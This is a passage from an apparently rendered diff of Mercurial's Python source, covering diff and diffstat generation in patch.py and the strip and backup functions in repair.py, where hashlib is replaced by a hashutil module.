3040 # ------------------------------------|----------------------------
3040 # ------------------------------------|----------------------------
3041 # yes | no no no * | summary | no
3041 # yes | no no no * | summary | no
3042 # yes | no no yes * | base85 | yes
3042 # yes | no no yes * | base85 | yes
3043 # yes | no yes no * | summary | no
3043 # yes | no yes no * | summary | no
3044 # yes | no yes yes 0 | summary | no
3044 # yes | no yes yes 0 | summary | no
3045 # yes | no yes yes >0 | summary | semi [1]
3045 # yes | no yes yes >0 | summary | semi [1]
3046 # yes | yes * * * | text diff | yes
3046 # yes | yes * * * | text diff | yes
3047 # no | * * * * | text diff | yes
3047 # no | * * * * | text diff | yes
3048 # [1]: hash(fctx.data()) is outputted. so fctx.data() cannot be faked
3048 # [1]: hash(fctx.data()) is outputted. so fctx.data() cannot be faked
3049 if binary and (
3049 if binary and (
3050 not opts.git or (opts.git and opts.nobinary and not opts.index)
3050 not opts.git or (opts.git and opts.nobinary and not opts.index)
3051 ):
3051 ):
3052 # fast path: no binary content will be displayed, content1 and
3052 # fast path: no binary content will be displayed, content1 and
3053 # content2 are only used for equivalent test. cmp() could have a
3053 # content2 are only used for equivalent test. cmp() could have a
3054 # fast path.
3054 # fast path.
3055 if fctx1 is not None:
3055 if fctx1 is not None:
3056 content1 = b'\0'
3056 content1 = b'\0'
3057 if fctx2 is not None:
3057 if fctx2 is not None:
3058 if fctx1 is not None and not fctx1.cmp(fctx2):
3058 if fctx1 is not None and not fctx1.cmp(fctx2):
3059 content2 = b'\0' # not different
3059 content2 = b'\0' # not different
3060 else:
3060 else:
3061 content2 = b'\0\0'
3061 content2 = b'\0\0'
3062 else:
3062 else:
3063 # normal path: load contents
3063 # normal path: load contents
3064 if fctx1 is not None:
3064 if fctx1 is not None:
3065 content1 = fctx1.data()
3065 content1 = fctx1.data()
3066 if fctx2 is not None:
3066 if fctx2 is not None:
3067 content2 = fctx2.data()
3067 content2 = fctx2.data()
3068
3068
3069 if binary and opts.git and not opts.nobinary:
3069 if binary and opts.git and not opts.nobinary:
3070 text = mdiff.b85diff(content1, content2)
3070 text = mdiff.b85diff(content1, content2)
3071 if text:
3071 if text:
3072 header.append(
3072 header.append(
3073 b'index %s..%s' % (gitindex(content1), gitindex(content2))
3073 b'index %s..%s' % (gitindex(content1), gitindex(content2))
3074 )
3074 )
3075 hunks = ((None, [text]),)
3075 hunks = ((None, [text]),)
3076 else:
3076 else:
3077 if opts.git and opts.index > 0:
3077 if opts.git and opts.index > 0:
3078 flag = flag1
3078 flag = flag1
3079 if flag is None:
3079 if flag is None:
3080 flag = flag2
3080 flag = flag2
3081 header.append(
3081 header.append(
3082 b'index %s..%s %s'
3082 b'index %s..%s %s'
3083 % (
3083 % (
3084 gitindex(content1)[0 : opts.index],
3084 gitindex(content1)[0 : opts.index],
3085 gitindex(content2)[0 : opts.index],
3085 gitindex(content2)[0 : opts.index],
3086 gitmode[flag],
3086 gitmode[flag],
3087 )
3087 )
3088 )
3088 )
3089
3089
3090 uheaders, hunks = mdiff.unidiff(
3090 uheaders, hunks = mdiff.unidiff(
3091 content1,
3091 content1,
3092 date1,
3092 date1,
3093 content2,
3093 content2,
3094 date2,
3094 date2,
3095 path1,
3095 path1,
3096 path2,
3096 path2,
3097 binary=binary,
3097 binary=binary,
3098 opts=opts,
3098 opts=opts,
3099 )
3099 )
3100 header.extend(uheaders)
3100 header.extend(uheaders)
3101 yield fctx1, fctx2, header, hunks
3101 yield fctx1, fctx2, header, hunks
3102
3102
3103
3103
3104 def diffstatsum(stats):
3104 def diffstatsum(stats):
3105 maxfile, maxtotal, addtotal, removetotal, binary = 0, 0, 0, 0, False
3105 maxfile, maxtotal, addtotal, removetotal, binary = 0, 0, 0, 0, False
3106 for f, a, r, b in stats:
3106 for f, a, r, b in stats:
3107 maxfile = max(maxfile, encoding.colwidth(f))
3107 maxfile = max(maxfile, encoding.colwidth(f))
3108 maxtotal = max(maxtotal, a + r)
3108 maxtotal = max(maxtotal, a + r)
3109 addtotal += a
3109 addtotal += a
3110 removetotal += r
3110 removetotal += r
3111 binary = binary or b
3111 binary = binary or b
3112
3112
3113 return maxfile, maxtotal, addtotal, removetotal, binary
3113 return maxfile, maxtotal, addtotal, removetotal, binary
3114
3114
3115
3115
3116 def diffstatdata(lines):
3116 def diffstatdata(lines):
3117 diffre = re.compile(br'^diff .*-r [a-z0-9]+\s(.*)$')
3117 diffre = re.compile(br'^diff .*-r [a-z0-9]+\s(.*)$')
3118
3118
3119 results = []
3119 results = []
3120 filename, adds, removes, isbinary = None, 0, 0, False
3120 filename, adds, removes, isbinary = None, 0, 0, False
3121
3121
3122 def addresult():
3122 def addresult():
3123 if filename:
3123 if filename:
3124 results.append((filename, adds, removes, isbinary))
3124 results.append((filename, adds, removes, isbinary))
3125
3125
3126 # inheader is used to track if a line is in the
3126 # inheader is used to track if a line is in the
3127 # header portion of the diff. This helps properly account
3127 # header portion of the diff. This helps properly account
3128 # for lines that start with '--' or '++'
3128 # for lines that start with '--' or '++'
3129 inheader = False
3129 inheader = False
3130
3130
3131 for line in lines:
3131 for line in lines:
3132 if line.startswith(b'diff'):
3132 if line.startswith(b'diff'):
3133 addresult()
3133 addresult()
3134 # starting a new file diff
3134 # starting a new file diff
3135 # set numbers to 0 and reset inheader
3135 # set numbers to 0 and reset inheader
3136 inheader = True
3136 inheader = True
3137 adds, removes, isbinary = 0, 0, False
3137 adds, removes, isbinary = 0, 0, False
3138 if line.startswith(b'diff --git a/'):
3138 if line.startswith(b'diff --git a/'):
3139 filename = gitre.search(line).group(2)
3139 filename = gitre.search(line).group(2)
3140 elif line.startswith(b'diff -r'):
3140 elif line.startswith(b'diff -r'):
3141 # format: "diff -r ... -r ... filename"
3141 # format: "diff -r ... -r ... filename"
3142 filename = diffre.search(line).group(1)
3142 filename = diffre.search(line).group(1)
3143 elif line.startswith(b'@@'):
3143 elif line.startswith(b'@@'):
3144 inheader = False
3144 inheader = False
3145 elif line.startswith(b'+') and not inheader:
3145 elif line.startswith(b'+') and not inheader:
3146 adds += 1
3146 adds += 1
3147 elif line.startswith(b'-') and not inheader:
3147 elif line.startswith(b'-') and not inheader:
3148 removes += 1
3148 removes += 1
3149 elif line.startswith(b'GIT binary patch') or line.startswith(
3149 elif line.startswith(b'GIT binary patch') or line.startswith(
3150 b'Binary file'
3150 b'Binary file'
3151 ):
3151 ):
3152 isbinary = True
3152 isbinary = True
3153 elif line.startswith(b'rename from'):
3153 elif line.startswith(b'rename from'):
3154 filename = line[12:]
3154 filename = line[12:]
3155 elif line.startswith(b'rename to'):
3155 elif line.startswith(b'rename to'):
3156 filename += b' => %s' % line[10:]
3156 filename += b' => %s' % line[10:]
3157 addresult()
3157 addresult()
3158 return results
3158 return results
3159
3159
3160
3160
3161 def diffstat(lines, width=80):
3161 def diffstat(lines, width=80):
3162 output = []
3162 output = []
3163 stats = diffstatdata(lines)
3163 stats = diffstatdata(lines)
3164 maxname, maxtotal, totaladds, totalremoves, hasbinary = diffstatsum(stats)
3164 maxname, maxtotal, totaladds, totalremoves, hasbinary = diffstatsum(stats)
3165
3165
3166 countwidth = len(str(maxtotal))
3166 countwidth = len(str(maxtotal))
3167 if hasbinary and countwidth < 3:
3167 if hasbinary and countwidth < 3:
3168 countwidth = 3
3168 countwidth = 3
3169 graphwidth = width - countwidth - maxname - 6
3169 graphwidth = width - countwidth - maxname - 6
3170 if graphwidth < 10:
3170 if graphwidth < 10:
3171 graphwidth = 10
3171 graphwidth = 10
3172
3172
3173 def scale(i):
3173 def scale(i):
3174 if maxtotal <= graphwidth:
3174 if maxtotal <= graphwidth:
3175 return i
3175 return i
3176 # If diffstat runs out of room it doesn't print anything,
3176 # If diffstat runs out of room it doesn't print anything,
3177 # which isn't very useful, so always print at least one + or -
3177 # which isn't very useful, so always print at least one + or -
3178 # if there were at least some changes.
3178 # if there were at least some changes.
3179 return max(i * graphwidth // maxtotal, int(bool(i)))
3179 return max(i * graphwidth // maxtotal, int(bool(i)))
3180
3180
3181 for filename, adds, removes, isbinary in stats:
3181 for filename, adds, removes, isbinary in stats:
3182 if isbinary:
3182 if isbinary:
3183 count = b'Bin'
3183 count = b'Bin'
3184 else:
3184 else:
3185 count = b'%d' % (adds + removes)
3185 count = b'%d' % (adds + removes)
3186 pluses = b'+' * scale(adds)
3186 pluses = b'+' * scale(adds)
3187 minuses = b'-' * scale(removes)
3187 minuses = b'-' * scale(removes)
3188 output.append(
3188 output.append(
3189 b' %s%s | %*s %s%s\n'
3189 b' %s%s | %*s %s%s\n'
3190 % (
3190 % (
3191 filename,
3191 filename,
3192 b' ' * (maxname - encoding.colwidth(filename)),
3192 b' ' * (maxname - encoding.colwidth(filename)),
3193 countwidth,
3193 countwidth,
3194 count,
3194 count,
3195 pluses,
3195 pluses,
3196 minuses,
3196 minuses,
3197 )
3197 )
3198 )
3198 )
3199
3199
3200 if stats:
3200 if stats:
3201 output.append(
3201 output.append(
3202 _(b' %d files changed, %d insertions(+), %d deletions(-)\n')
3202 _(b' %d files changed, %d insertions(+), %d deletions(-)\n')
3203 % (len(stats), totaladds, totalremoves)
3203 % (len(stats), totaladds, totalremoves)
3204 )
3204 )
3205
3205
3206 return b''.join(output)
3206 return b''.join(output)
3207
3207
3208
3208
3209 def diffstatui(*args, **kw):
3209 def diffstatui(*args, **kw):
3210 '''like diffstat(), but yields 2-tuples of (output, label) for
3210 '''like diffstat(), but yields 2-tuples of (output, label) for
3211 ui.write()
3211 ui.write()
3212 '''
3212 '''
3213
3213
3214 for line in diffstat(*args, **kw).splitlines():
3214 for line in diffstat(*args, **kw).splitlines():
3215 if line and line[-1] in b'+-':
3215 if line and line[-1] in b'+-':
3216 name, graph = line.rsplit(b' ', 1)
3216 name, graph = line.rsplit(b' ', 1)
3217 yield (name + b' ', b'')
3217 yield (name + b' ', b'')
3218 m = re.search(br'\++', graph)
3218 m = re.search(br'\++', graph)
3219 if m:
3219 if m:
3220 yield (m.group(0), b'diffstat.inserted')
3220 yield (m.group(0), b'diffstat.inserted')
3221 m = re.search(br'-+', graph)
3221 m = re.search(br'-+', graph)
3222 if m:
3222 if m:
3223 yield (m.group(0), b'diffstat.deleted')
3223 yield (m.group(0), b'diffstat.deleted')
3224 else:
3224 else:
3225 yield (line, b'')
3225 yield (line, b'')
3226 yield (b'\n', b'')
3226 yield (b'\n', b'')
@@ -1,537 +1,539
1 # repair.py - functions for repository repair for mercurial
1 # repair.py - functions for repository repair for mercurial
2 #
2 #
3 # Copyright 2005, 2006 Chris Mason <mason@suse.com>
3 # Copyright 2005, 2006 Chris Mason <mason@suse.com>
4 # Copyright 2007 Matt Mackall
4 # Copyright 2007 Matt Mackall
5 #
5 #
6 # This software may be used and distributed according to the terms of the
6 # This software may be used and distributed according to the terms of the
7 # GNU General Public License version 2 or any later version.
7 # GNU General Public License version 2 or any later version.
8
8
9 from __future__ import absolute_import
9 from __future__ import absolute_import
10
10
11 import errno
11 import errno
12 import hashlib
13
12
14 from .i18n import _
13 from .i18n import _
15 from .node import (
14 from .node import (
16 hex,
15 hex,
17 short,
16 short,
18 )
17 )
19 from . import (
18 from . import (
20 bundle2,
19 bundle2,
21 changegroup,
20 changegroup,
22 discovery,
21 discovery,
23 error,
22 error,
24 exchange,
23 exchange,
25 obsolete,
24 obsolete,
26 obsutil,
25 obsutil,
27 pathutil,
26 pathutil,
28 phases,
27 phases,
29 pycompat,
28 pycompat,
30 util,
29 util,
31 )
30 )
32 from .utils import stringutil
31 from .utils import (
32 hashutil,
33 stringutil,
34 )
33
35
34
36
35 def backupbundle(
37 def backupbundle(
36 repo, bases, heads, node, suffix, compress=True, obsolescence=True
38 repo, bases, heads, node, suffix, compress=True, obsolescence=True
37 ):
39 ):
38 """create a bundle with the specified revisions as a backup"""
40 """create a bundle with the specified revisions as a backup"""
39
41
40 backupdir = b"strip-backup"
42 backupdir = b"strip-backup"
41 vfs = repo.vfs
43 vfs = repo.vfs
42 if not vfs.isdir(backupdir):
44 if not vfs.isdir(backupdir):
43 vfs.mkdir(backupdir)
45 vfs.mkdir(backupdir)
44
46
45 # Include a hash of all the nodes in the filename for uniqueness
47 # Include a hash of all the nodes in the filename for uniqueness
46 allcommits = repo.set(b'%ln::%ln', bases, heads)
48 allcommits = repo.set(b'%ln::%ln', bases, heads)
47 allhashes = sorted(c.hex() for c in allcommits)
49 allhashes = sorted(c.hex() for c in allcommits)
48 totalhash = hashlib.sha1(b''.join(allhashes)).digest()
50 totalhash = hashutil.sha1(b''.join(allhashes)).digest()
49 name = b"%s/%s-%s-%s.hg" % (
51 name = b"%s/%s-%s-%s.hg" % (
50 backupdir,
52 backupdir,
51 short(node),
53 short(node),
52 hex(totalhash[:4]),
54 hex(totalhash[:4]),
53 suffix,
55 suffix,
54 )
56 )
55
57
56 cgversion = changegroup.localversion(repo)
58 cgversion = changegroup.localversion(repo)
57 comp = None
59 comp = None
58 if cgversion != b'01':
60 if cgversion != b'01':
59 bundletype = b"HG20"
61 bundletype = b"HG20"
60 if compress:
62 if compress:
61 comp = b'BZ'
63 comp = b'BZ'
62 elif compress:
64 elif compress:
63 bundletype = b"HG10BZ"
65 bundletype = b"HG10BZ"
64 else:
66 else:
65 bundletype = b"HG10UN"
67 bundletype = b"HG10UN"
66
68
67 outgoing = discovery.outgoing(repo, missingroots=bases, missingheads=heads)
69 outgoing = discovery.outgoing(repo, missingroots=bases, missingheads=heads)
68 contentopts = {
70 contentopts = {
69 b'cg.version': cgversion,
71 b'cg.version': cgversion,
70 b'obsolescence': obsolescence,
72 b'obsolescence': obsolescence,
71 b'phases': True,
73 b'phases': True,
72 }
74 }
73 return bundle2.writenewbundle(
75 return bundle2.writenewbundle(
74 repo.ui,
76 repo.ui,
75 repo,
77 repo,
76 b'strip',
78 b'strip',
77 name,
79 name,
78 bundletype,
80 bundletype,
79 outgoing,
81 outgoing,
80 contentopts,
82 contentopts,
81 vfs,
83 vfs,
82 compression=comp,
84 compression=comp,
83 )
85 )
84
86
85
87
86 def _collectfiles(repo, striprev):
88 def _collectfiles(repo, striprev):
87 """find out the filelogs affected by the strip"""
89 """find out the filelogs affected by the strip"""
88 files = set()
90 files = set()
89
91
90 for x in pycompat.xrange(striprev, len(repo)):
92 for x in pycompat.xrange(striprev, len(repo)):
91 files.update(repo[x].files())
93 files.update(repo[x].files())
92
94
93 return sorted(files)
95 return sorted(files)
94
96
95
97
96 def _collectrevlog(revlog, striprev):
98 def _collectrevlog(revlog, striprev):
97 _, brokenset = revlog.getstrippoint(striprev)
99 _, brokenset = revlog.getstrippoint(striprev)
98 return [revlog.linkrev(r) for r in brokenset]
100 return [revlog.linkrev(r) for r in brokenset]
99
101
100
102
101 def _collectbrokencsets(repo, files, striprev):
103 def _collectbrokencsets(repo, files, striprev):
102 """return the changesets which will be broken by the truncation"""
104 """return the changesets which will be broken by the truncation"""
103 s = set()
105 s = set()
104
106
105 for revlog in manifestrevlogs(repo):
107 for revlog in manifestrevlogs(repo):
106 s.update(_collectrevlog(revlog, striprev))
108 s.update(_collectrevlog(revlog, striprev))
107 for fname in files:
109 for fname in files:
108 s.update(_collectrevlog(repo.file(fname), striprev))
110 s.update(_collectrevlog(repo.file(fname), striprev))
109
111
110 return s
112 return s
111
113
112
114
113 def strip(ui, repo, nodelist, backup=True, topic=b'backup'):
115 def strip(ui, repo, nodelist, backup=True, topic=b'backup'):
114 # This function requires the caller to lock the repo, but it operates
116 # This function requires the caller to lock the repo, but it operates
115 # within a transaction of its own, and thus requires there to be no current
117 # within a transaction of its own, and thus requires there to be no current
116 # transaction when it is called.
118 # transaction when it is called.
117 if repo.currenttransaction() is not None:
119 if repo.currenttransaction() is not None:
118 raise error.ProgrammingError(b'cannot strip from inside a transaction')
120 raise error.ProgrammingError(b'cannot strip from inside a transaction')
119
121
120 # Simple way to maintain backwards compatibility for this
122 # Simple way to maintain backwards compatibility for this
121 # argument.
123 # argument.
122 if backup in [b'none', b'strip']:
124 if backup in [b'none', b'strip']:
123 backup = False
125 backup = False
124
126
125 repo = repo.unfiltered()
127 repo = repo.unfiltered()
126 repo.destroying()
128 repo.destroying()
127 vfs = repo.vfs
129 vfs = repo.vfs
128 # load bookmark before changelog to avoid side effect from outdated
130 # load bookmark before changelog to avoid side effect from outdated
129 # changelog (see repo._refreshchangelog)
131 # changelog (see repo._refreshchangelog)
130 repo._bookmarks
132 repo._bookmarks
131 cl = repo.changelog
133 cl = repo.changelog
132
134
133 # TODO handle undo of merge sets
135 # TODO handle undo of merge sets
134 if isinstance(nodelist, bytes):
136 if isinstance(nodelist, bytes):
135 nodelist = [nodelist]
137 nodelist = [nodelist]
136 striplist = [cl.rev(node) for node in nodelist]
138 striplist = [cl.rev(node) for node in nodelist]
137 striprev = min(striplist)
139 striprev = min(striplist)
138
140
139 files = _collectfiles(repo, striprev)
141 files = _collectfiles(repo, striprev)
140 saverevs = _collectbrokencsets(repo, files, striprev)
142 saverevs = _collectbrokencsets(repo, files, striprev)
141
143
142 # Some revisions with rev > striprev may not be descendants of striprev.
144 # Some revisions with rev > striprev may not be descendants of striprev.
143 # We have to find these revisions and put them in a bundle, so that
145 # We have to find these revisions and put them in a bundle, so that
144 # we can restore them after the truncations.
146 # we can restore them after the truncations.
145 # To create the bundle we use repo.changegroupsubset which requires
147 # To create the bundle we use repo.changegroupsubset which requires
146 # the list of heads and bases of the set of interesting revisions.
148 # the list of heads and bases of the set of interesting revisions.
147 # (head = revision in the set that has no descendant in the set;
149 # (head = revision in the set that has no descendant in the set;
148 # base = revision in the set that has no ancestor in the set)
150 # base = revision in the set that has no ancestor in the set)
149 tostrip = set(striplist)
151 tostrip = set(striplist)
150 saveheads = set(saverevs)
152 saveheads = set(saverevs)
151 for r in cl.revs(start=striprev + 1):
153 for r in cl.revs(start=striprev + 1):
152 if any(p in tostrip for p in cl.parentrevs(r)):
154 if any(p in tostrip for p in cl.parentrevs(r)):
153 tostrip.add(r)
155 tostrip.add(r)
154
156
155 if r not in tostrip:
157 if r not in tostrip:
156 saverevs.add(r)
158 saverevs.add(r)
157 saveheads.difference_update(cl.parentrevs(r))
159 saveheads.difference_update(cl.parentrevs(r))
158 saveheads.add(r)
160 saveheads.add(r)
159 saveheads = [cl.node(r) for r in saveheads]
161 saveheads = [cl.node(r) for r in saveheads]
160
162
161 # compute base nodes
163 # compute base nodes
162 if saverevs:
164 if saverevs:
163 descendants = set(cl.descendants(saverevs))
165 descendants = set(cl.descendants(saverevs))
164 saverevs.difference_update(descendants)
166 saverevs.difference_update(descendants)
165 savebases = [cl.node(r) for r in saverevs]
167 savebases = [cl.node(r) for r in saverevs]
166 stripbases = [cl.node(r) for r in tostrip]
168 stripbases = [cl.node(r) for r in tostrip]
167
169
168 stripobsidx = obsmarkers = ()
170 stripobsidx = obsmarkers = ()
169 if repo.ui.configbool(b'devel', b'strip-obsmarkers'):
171 if repo.ui.configbool(b'devel', b'strip-obsmarkers'):
170 obsmarkers = obsutil.exclusivemarkers(repo, stripbases)
172 obsmarkers = obsutil.exclusivemarkers(repo, stripbases)
171 if obsmarkers:
173 if obsmarkers:
172 stripobsidx = [
174 stripobsidx = [
173 i for i, m in enumerate(repo.obsstore) if m in obsmarkers
175 i for i, m in enumerate(repo.obsstore) if m in obsmarkers
174 ]
176 ]
175
177
176 newbmtarget, updatebm = _bookmarkmovements(repo, tostrip)
178 newbmtarget, updatebm = _bookmarkmovements(repo, tostrip)
177
179
178 backupfile = None
180 backupfile = None
179 node = nodelist[-1]
181 node = nodelist[-1]
180 if backup:
182 if backup:
181 backupfile = _createstripbackup(repo, stripbases, node, topic)
183 backupfile = _createstripbackup(repo, stripbases, node, topic)
182 # create a changegroup for all the branches we need to keep
184 # create a changegroup for all the branches we need to keep
183 tmpbundlefile = None
185 tmpbundlefile = None
184 if saveheads:
186 if saveheads:
185 # do not compress temporary bundle if we remove it from disk later
187 # do not compress temporary bundle if we remove it from disk later
186 #
188 #
187 # We do not include obsolescence, it might re-introduce prune markers
189 # We do not include obsolescence, it might re-introduce prune markers
188 # we are trying to strip. This is harmless since the stripped markers
190 # we are trying to strip. This is harmless since the stripped markers
189 # are already backed up and we did not touched the markers for the
191 # are already backed up and we did not touched the markers for the
190 # saved changesets.
192 # saved changesets.
191 tmpbundlefile = backupbundle(
193 tmpbundlefile = backupbundle(
192 repo,
194 repo,
193 savebases,
195 savebases,
194 saveheads,
196 saveheads,
195 node,
197 node,
196 b'temp',
198 b'temp',
197 compress=False,
199 compress=False,
198 obsolescence=False,
200 obsolescence=False,
199 )
201 )
200
202
201 with ui.uninterruptible():
203 with ui.uninterruptible():
202 try:
204 try:
203 with repo.transaction(b"strip") as tr:
205 with repo.transaction(b"strip") as tr:
204 # TODO this code violates the interface abstraction of the
206 # TODO this code violates the interface abstraction of the
205 # transaction and makes assumptions that file storage is
207 # transaction and makes assumptions that file storage is
206 # using append-only files. We'll need some kind of storage
208 # using append-only files. We'll need some kind of storage
207 # API to handle stripping for us.
209 # API to handle stripping for us.
208 offset = len(tr._entries)
210 offset = len(tr._entries)
209
211
210 tr.startgroup()
212 tr.startgroup()
211 cl.strip(striprev, tr)
213 cl.strip(striprev, tr)
212 stripmanifest(repo, striprev, tr, files)
214 stripmanifest(repo, striprev, tr, files)
213
215
214 for fn in files:
216 for fn in files:
215 repo.file(fn).strip(striprev, tr)
217 repo.file(fn).strip(striprev, tr)
216 tr.endgroup()
218 tr.endgroup()
217
219
218 for i in pycompat.xrange(offset, len(tr._entries)):
220 for i in pycompat.xrange(offset, len(tr._entries)):
219 file, troffset, ignore = tr._entries[i]
221 file, troffset, ignore = tr._entries[i]
220 with repo.svfs(file, b'a', checkambig=True) as fp:
222 with repo.svfs(file, b'a', checkambig=True) as fp:
221 fp.truncate(troffset)
223 fp.truncate(troffset)
222 if troffset == 0:
224 if troffset == 0:
223 repo.store.markremoved(file)
225 repo.store.markremoved(file)
224
226
225 deleteobsmarkers(repo.obsstore, stripobsidx)
227 deleteobsmarkers(repo.obsstore, stripobsidx)
226 del repo.obsstore
228 del repo.obsstore
227 repo.invalidatevolatilesets()
229 repo.invalidatevolatilesets()
228 repo._phasecache.filterunknown(repo)
230 repo._phasecache.filterunknown(repo)
229
231
230 if tmpbundlefile:
232 if tmpbundlefile:
231 ui.note(_(b"adding branch\n"))
233 ui.note(_(b"adding branch\n"))
232 f = vfs.open(tmpbundlefile, b"rb")
234 f = vfs.open(tmpbundlefile, b"rb")
233 gen = exchange.readbundle(ui, f, tmpbundlefile, vfs)
235 gen = exchange.readbundle(ui, f, tmpbundlefile, vfs)
234 if not repo.ui.verbose:
236 if not repo.ui.verbose:
235 # silence internal shuffling chatter
237 # silence internal shuffling chatter
236 repo.ui.pushbuffer()
238 repo.ui.pushbuffer()
237 tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile)
239 tmpbundleurl = b'bundle:' + vfs.join(tmpbundlefile)
238 txnname = b'strip'
240 txnname = b'strip'
239 if not isinstance(gen, bundle2.unbundle20):
241 if not isinstance(gen, bundle2.unbundle20):
240 txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl)
242 txnname = b"strip\n%s" % util.hidepassword(tmpbundleurl)
241 with repo.transaction(txnname) as tr:
243 with repo.transaction(txnname) as tr:
242 bundle2.applybundle(
244 bundle2.applybundle(
243 repo, gen, tr, source=b'strip', url=tmpbundleurl
245 repo, gen, tr, source=b'strip', url=tmpbundleurl
244 )
246 )
245 if not repo.ui.verbose:
247 if not repo.ui.verbose:
246 repo.ui.popbuffer()
248 repo.ui.popbuffer()
247 f.close()
249 f.close()
248
250
249 with repo.transaction(b'repair') as tr:
251 with repo.transaction(b'repair') as tr:
250 bmchanges = [(m, repo[newbmtarget].node()) for m in updatebm]
252 bmchanges = [(m, repo[newbmtarget].node()) for m in updatebm]
251 repo._bookmarks.applychanges(repo, tr, bmchanges)
253 repo._bookmarks.applychanges(repo, tr, bmchanges)
252
254
253 # remove undo files
255 # remove undo files
254 for undovfs, undofile in repo.undofiles():
256 for undovfs, undofile in repo.undofiles():
255 try:
257 try:
256 undovfs.unlink(undofile)
258 undovfs.unlink(undofile)
257 except OSError as e:
259 except OSError as e:
258 if e.errno != errno.ENOENT:
260 if e.errno != errno.ENOENT:
259 ui.warn(
261 ui.warn(
260 _(b'error removing %s: %s\n')
262 _(b'error removing %s: %s\n')
261 % (
263 % (
262 undovfs.join(undofile),
264 undovfs.join(undofile),
263 stringutil.forcebytestr(e),
265 stringutil.forcebytestr(e),
264 )
266 )
265 )
267 )
266
268
267 except: # re-raises
269 except: # re-raises
268 if backupfile:
270 if backupfile:
269 ui.warn(
271 ui.warn(
270 _(b"strip failed, backup bundle stored in '%s'\n")
272 _(b"strip failed, backup bundle stored in '%s'\n")
271 % vfs.join(backupfile)
273 % vfs.join(backupfile)
272 )
274 )
273 if tmpbundlefile:
275 if tmpbundlefile:
274 ui.warn(
276 ui.warn(
275 _(b"strip failed, unrecovered changes stored in '%s'\n")
277 _(b"strip failed, unrecovered changes stored in '%s'\n")
276 % vfs.join(tmpbundlefile)
278 % vfs.join(tmpbundlefile)
277 )
279 )
278 ui.warn(
280 ui.warn(
279 _(
281 _(
280 b"(fix the problem, then recover the changesets with "
282 b"(fix the problem, then recover the changesets with "
281 b"\"hg unbundle '%s'\")\n"
283 b"\"hg unbundle '%s'\")\n"
282 )
284 )
283 % vfs.join(tmpbundlefile)
285 % vfs.join(tmpbundlefile)
284 )
286 )
285 raise
287 raise
286 else:
288 else:
287 if tmpbundlefile:
289 if tmpbundlefile:
288 # Remove temporary bundle only if there were no exceptions
290 # Remove temporary bundle only if there were no exceptions
289 vfs.unlink(tmpbundlefile)
291 vfs.unlink(tmpbundlefile)
290
292
291 repo.destroyed()
293 repo.destroyed()
292 # return the backup file path (or None if 'backup' was False) so
294 # return the backup file path (or None if 'backup' was False) so
293 # extensions can use it
295 # extensions can use it
294 return backupfile
296 return backupfile
295
297
296
298
297 def softstrip(ui, repo, nodelist, backup=True, topic=b'backup'):
299 def softstrip(ui, repo, nodelist, backup=True, topic=b'backup'):
298 """perform a "soft" strip using the archived phase"""
300 """perform a "soft" strip using the archived phase"""
299 tostrip = [c.node() for c in repo.set(b'sort(%ln::)', nodelist)]
301 tostrip = [c.node() for c in repo.set(b'sort(%ln::)', nodelist)]
300 if not tostrip:
302 if not tostrip:
301 return None
303 return None
302
304
303 newbmtarget, updatebm = _bookmarkmovements(repo, tostrip)
305 newbmtarget, updatebm = _bookmarkmovements(repo, tostrip)
304 if backup:
306 if backup:
305 node = tostrip[0]
307 node = tostrip[0]
306 backupfile = _createstripbackup(repo, tostrip, node, topic)
308 backupfile = _createstripbackup(repo, tostrip, node, topic)
307
309
308 with repo.transaction(b'strip') as tr:
310 with repo.transaction(b'strip') as tr:
309 phases.retractboundary(repo, tr, phases.archived, tostrip)
311 phases.retractboundary(repo, tr, phases.archived, tostrip)
310 bmchanges = [(m, repo[newbmtarget].node()) for m in updatebm]
312 bmchanges = [(m, repo[newbmtarget].node()) for m in updatebm]
311 repo._bookmarks.applychanges(repo, tr, bmchanges)
313 repo._bookmarks.applychanges(repo, tr, bmchanges)
312 return backupfile
314 return backupfile
313
315
314
316
315 def _bookmarkmovements(repo, tostrip):
317 def _bookmarkmovements(repo, tostrip):
316 # compute necessary bookmark movement
318 # compute necessary bookmark movement
317 bm = repo._bookmarks
319 bm = repo._bookmarks
318 updatebm = []
320 updatebm = []
319 for m in bm:
321 for m in bm:
320 rev = repo[bm[m]].rev()
322 rev = repo[bm[m]].rev()
321 if rev in tostrip:
323 if rev in tostrip:
322 updatebm.append(m)
324 updatebm.append(m)
323 newbmtarget = None
325 newbmtarget = None
324 # If we need to move bookmarks, compute bookmark
326 # If we need to move bookmarks, compute bookmark
325 # targets. Otherwise we can skip doing this logic.
327 # targets. Otherwise we can skip doing this logic.
326 if updatebm:
328 if updatebm:
327 # For a set s, max(parents(s) - s) is the same as max(heads(::s - s)),
329 # For a set s, max(parents(s) - s) is the same as max(heads(::s - s)),
328 # but is much faster
330 # but is much faster
329 newbmtarget = repo.revs(b'max(parents(%ld) - (%ld))', tostrip, tostrip)
331 newbmtarget = repo.revs(b'max(parents(%ld) - (%ld))', tostrip, tostrip)
330 if newbmtarget:
332 if newbmtarget:
331 newbmtarget = repo[newbmtarget.first()].node()
333 newbmtarget = repo[newbmtarget.first()].node()
332 else:
334 else:
333 newbmtarget = b'.'
335 newbmtarget = b'.'
334 return newbmtarget, updatebm
336 return newbmtarget, updatebm
335
337
336
338
337 def _createstripbackup(repo, stripbases, node, topic):
339 def _createstripbackup(repo, stripbases, node, topic):
338 # backup the changeset we are about to strip
340 # backup the changeset we are about to strip
339 vfs = repo.vfs
341 vfs = repo.vfs
340 cl = repo.changelog
342 cl = repo.changelog
341 backupfile = backupbundle(repo, stripbases, cl.heads(), node, topic)
343 backupfile = backupbundle(repo, stripbases, cl.heads(), node, topic)
342 repo.ui.status(_(b"saved backup bundle to %s\n") % vfs.join(backupfile))
344 repo.ui.status(_(b"saved backup bundle to %s\n") % vfs.join(backupfile))
343 repo.ui.log(
345 repo.ui.log(
344 b"backupbundle", b"saved backup bundle to %s\n", vfs.join(backupfile)
346 b"backupbundle", b"saved backup bundle to %s\n", vfs.join(backupfile)
345 )
347 )
346 return backupfile
348 return backupfile
347
349
348
350
349 def safestriproots(ui, repo, nodes):
351 def safestriproots(ui, repo, nodes):
350 """return list of roots of nodes where descendants are covered by nodes"""
352 """return list of roots of nodes where descendants are covered by nodes"""
351 torev = repo.unfiltered().changelog.rev
353 torev = repo.unfiltered().changelog.rev
352 revs = set(torev(n) for n in nodes)
354 revs = set(torev(n) for n in nodes)
353 # tostrip = wanted - unsafe = wanted - ancestors(orphaned)
